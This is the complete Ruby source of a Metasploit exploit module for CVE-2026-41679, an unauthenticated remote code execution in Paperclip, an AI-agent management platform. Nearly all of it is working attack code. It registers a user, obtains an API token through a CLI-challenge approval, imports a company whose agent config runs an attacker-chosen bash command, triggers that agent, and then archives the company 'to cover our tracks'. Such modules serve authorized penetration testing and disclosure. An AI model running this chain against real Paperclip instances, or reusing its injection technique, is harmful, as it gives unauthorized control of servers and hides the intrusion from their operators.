📄 Paperclip AI Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Paperclip AI RCE using a chain of six API calls (CVE-2026-41679).',
            'Description' => %q{
              Paperclip is the operating system for your AI company.
              You set the goals, hire AI agents as employees, and watch them plan and execute work.
              Prior to version 2026.410.0, Paperclip allows for an unauthenticated RCE, tracked as CVE-2026-41679.
              An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip
              instance running in authenticated mode with default configuration. The entire chain is six API calls.
            },
            'Author' => [
              'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module
              'Sagilayani https://github.com/sagilayani' # Discovery
            ],
            'References' => [
              ['CVE', '2026-41679'],
              ['GHSA', 'GHSA-68qg-g8mg-6pr7'],
              ['URL', 'https://attackerkb.com/topics/86rSV7hsXi/cve-2026-41679']
            ],
            'License' => MSF_LICENSE,
            'Platform' => ['unix', 'linux', 'osx'],
            'Privileged' => false,
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Unix/Linux Command',
                {
                  'Platform' => ['unix', 'linux', 'osx'],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'Payload' => {
                    'Encoder' => 'cmd/base64',
                    'BadChars' => "\x20" # no space
                  }
                }
              ],
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2026-04-10',
            'DefaultOptions' => {
              'SSL' => false,
              'RPORT' => 3100
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Path to the Paperclip instance', '/'])
        ])
      end
    
      # Check if Paperclip instance is running and get the Paperclip version if published
      # return version number or 'N/A' (NOT AVAILABLE) else nil
      def get_paperclip_version
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api', 'health')
        })
        return unless res&.code == 200 && res.body.include?('status') && res.body.include?('deploymentMode')
    
        # check for version
        if res.body.include?('version')
          res_json = res.get_json_document
          res_json['version'] unless res_json.blank?
        else
          'N/A'
        end
      end
    
      # CVE-2026-41679: Unauthenticated command injection leading to RCE via a chain of six API calls
      def execute_payload(cmd, _opts = {})
        # randomize email address, name and password to be used in POST requests
        email = Rex::Text.rand_mail_address
        email_array = email.split('@')
        name = email_array[0].split('.')[0]
        password = Rex::Text.rand_text_alphanumeric(12..20)
    
        # 1. sign-up and register with a new user and password
        vprint_status('Step 1: sign-up and register a new user.')
        vprint_good("user => #{email}, password => #{password}")
        post_data = {
          email: email.to_s,
          password: password.to_s,
          name: name.to_s
        }.to_json
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'auth', 'sign-up', 'email'),
          'ctype' => 'application/json',
          'data' => post_data.to_s
        })
        unless res&.code == 200 && res.body.include?('createdAt')
          print_error('Step 1 failed: sign-up and register a new user.')
          return
        end
    
        # 2. Sign in with registered e-mail and password and get session cookie from the Set-Cookie header.
        vprint_status('Step 2: sign-in with the new user credentials and get a session-cookie.')
        post_data = {
          email: email.to_s,
          password: password.to_s
        }.to_json
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'auth', 'sign-in', 'email'),
          'ctype' => 'application/json',
          'data' => post_data.to_s
        })
        unless res&.code == 200 && res.get_cookies && res.body.include?('token')
          print_error('Step 2 failed: sign-in with new user credentials.')
          return
        end
    
        cookie = res.get_cookies
        vprint_good("cookie => #{cookie}")
    
        # 3. create a CLI challenge and grab the id, token and boardApiToken
        vprint_status('Step 3: create a CLI challenge and get an API token.')
        command = Rex::Text.rand_text_alpha(6..8)
        post_data = {
          command: command.to_s
        }.to_json
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'cli-auth', 'challenges'),
          'ctype' => 'application/json',
          'data' => post_data.to_s
        })
        unless res&.code == 201 && res.body.include?('token') && res.body.include?('boardApiToken') && res.body.include?('id')
          print_error('Step 3 failed: create CLI challenge and get an API token.')
          return
        end
    
        res_json = res.get_json_document
        return if res_json.blank?
    
        id = res_json['id']
        token = res_json['token']
        @board_api_token = res_json['boardApiToken']
        vprint_good("API token => #{@board_api_token}")
    
        # 4. Approve in your own session using the token, id and session cookie
        # We will need to add the Origin header for next API calls otherwise they will fail
        vprint_status('Step 4: approve the challenge in your session.')
    
        @origin = "#{datastore['ssl'] ? 'https' : 'http'}://#{datastore['rhost']}:#{datastore['rport']}"
        post_data = {
          token: token.to_s
        }.to_json
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'cli-auth', 'challenges', id.to_s, 'approve'),
          'headers' => {
            'Origin' => @origin
          },
          'cookie' => cookie.to_s,
          'ctype' => 'application/json',
          'data' => post_data.to_s
        })
        unless res&.code == 200 && !res.body.include?('error')
          print_error('Step 4 failed: approve the challenge in your session.')
          return
        end
    
        # 5. Create a company and deploy an agent via import (authorization bypass)
        # This will configure the payload that will be executed by the process agent
        vprint_status('Step 5: create a company and deploy an agent with payload via import (authorization bypass).')
        vprint_good("payload => #{cmd}")
        post_data = {
          source: {
            type: 'inline',
            files: {
              'COMPANY.md': "---\nname: MI6\nslug: MI6\n---\nx",
              'agents/007/AGENTS.md': "---\nkind: agent\nname: 007\nslug: 007\nrole: engineer\n---\nx",
              '.paperclip.yaml': "agents:\n  007:\n    icon: terminal\n    adapter:\n      type: process\n      config:\n        command: bash\n        args:\n          - -c\n          - #{cmd}"
            }
          },
          target: { mode: 'new_company', newCompanyName: 'MI6' },
          include: { company: true, agents: true },
          agents: 'all'
        }.to_json
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'companies', 'import'),
          'headers' => {
            'Authorization' => "Bearer #{@board_api_token}",
            'Origin' => @origin
          },
          'ctype' => 'application/json',
          'data' => post_data.to_s
        })
        unless res&.code == 200 && res.body.include?('id')
          print_error('Step 5 failed: create a company and deploy an agent with payload via import.')
          return
        end
    
        res_json = res.get_json_document
        return if res_json.blank?
    
        agent = res_json['agents']&.first
        agent_id = agent&.dig('id')
        @company_id = res_json['company']['id']
        vprint_good("company_id => #{@company_id}, agent_id => #{agent_id}")
    
        # 6. Run the agent and trigger the payload
        vprint_status('Step 6: run the agent and trigger the payload. You should get a session now ;-).')
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'agents', agent_id.to_s, 'wakeup'),
          'headers' => {
            'Authorization' => "Bearer #{@board_api_token}",
            'Origin' => @origin
          },
          'ctype' => 'application/json',
          'data' => nil
        })
        unless res&.code == 202
          print_error('Step 6 failed: run the agent and trigger the payload.')
        end
      end
    
      # try to archive the company and agent payload to cover our tracks
      def cleanup
        super
        # check if payload should be cleaned
        unless @company_id.nil?
          vprint_status('Cleaning up the mess...')
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'api', 'companies', @company_id.to_s, 'archive'),
            'headers' => {
              'Authorization' => "Bearer #{@board_api_token}",
              'Origin' => @origin
            },
            'ctype' => 'application/json'
          })
          if res&.code == 200 && res.body.include?('archived')
            print_good('Company and agent payload has been successfully archived.')
          else
            print_warning('Company and agent payload not archived. Try to remove it manually.')
          end
        end
      end
    
      def check
        version = get_paperclip_version
        return CheckCode::Safe('Can not find a Paperclip instance running.') if version.nil?
        return CheckCode::Detected('No Paperclip version found.') if version == 'N/A'
    
        version = Rex::Version.new(version)
        if version >= Rex::Version.new('2026.410.0')
          return CheckCode::Safe("Paperclip version #{version}")
        end
    
        CheckCode::Appears("Paperclip version #{version}")
      end
    
      def exploit
        print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
        execute_payload(payload.encoded)
      end
    end